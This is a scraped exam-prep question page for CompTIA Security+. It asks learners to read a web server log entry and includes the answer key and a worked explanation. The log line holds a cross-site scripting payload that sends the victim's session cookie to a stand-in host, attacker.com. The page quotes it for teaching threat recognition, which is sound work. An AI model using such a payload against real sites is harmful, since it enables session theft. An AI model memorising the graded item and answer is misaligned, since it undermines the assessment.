`) in the query parameter `q`. This script accesses the victim's session cookie via `document.cookie` and attempts to send it to an external server (`attacker.com`)."}},"eduQuestionType":"Multiple choice","isAccessibleForFree":true},{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Examkin","item":"https://examkin.com/en"},{"@type":"ListItem","position":2,"name":"CompTIA Security+","item":"https://examkin.com/en/exams/comptia-security-plus"},{"@type":"ListItem","position":3,"name":"Security Operations","item":"https://examkin.com/en/exams/comptia-security-plus/t/SECURITY_CORE__security_operations"},{"@type":"ListItem","position":4,"name":"Log Analysis and SIEM Management","item":"https://examkin.com/en/exams/comptia-security-plus/t/SECURITY_CORE__security_operations__log_analysis_and_siem_management"},{"@type":"ListItem","position":5,"name":"Question","item":"https://examkin.com/en/exams/comptia-security-plus/q/65213aa5-c970-465c-b043-bef3423da097"}]}]

A security analyst is reviewing web server access logs aggregated by a central SIEM platform. The log inspection view displays the following entry:

`192.168.4.12 - - [27/Jul/2026:10:15:32 +0000] "GET /search.php?q=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> HTTP/1.1" 200 4520`

Based on the payload contained in this log entry, which security threat is taking place?

1. Cross-Site Scripting (XSS) attack attempting to hijack client session cookiesAnswer
2. B
   SQL injection attack attempting to bypass backend database authentication controls
3. C
   Authentication failure triggered by invalid account credentials
4. D
   SIEM event correlation failure resulting from an improper normalization rule

Answer

Cross-Site Scripting (XSS) attack attempting to hijack client session cookies

The correct answer identifies Cross-Site Scripting (XSS). The log snippet clearly shows an HTTP GET request carrying client-side JavaScript (`<script>document.location=...</script>`) in the query parameter `q`. This script accesses the victim's session cookie via `document.cookie` and attempts to send it to an external server (`attacker.com`).

Step-by-Step Solution

1

Examine the HTTP request string in the web access log entry.

Identified the query parameter value: `q=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>`.

Log payloads reveal the exact input sent from the client machine to the web application.

2

Analyze the construct of the injected payload.

The string contains client-side JavaScript wrapped inside HTML `<script>` elements designed to access `document.cookie`.

Scripts that access client-side browser DOM properties and send them to an external location characterize Cross-Site Scripting.

3

Select the option that matches the identified threat payload.

Confirmed the event represents a Cross-Site Scripting (XSS) attack targeting session cookies.

XSS exploits trust in a web application to execute arbitrary script code in a victim's browser.

Key Concept

Log Analysis and Web Attack Pattern Identification

Common Mistakes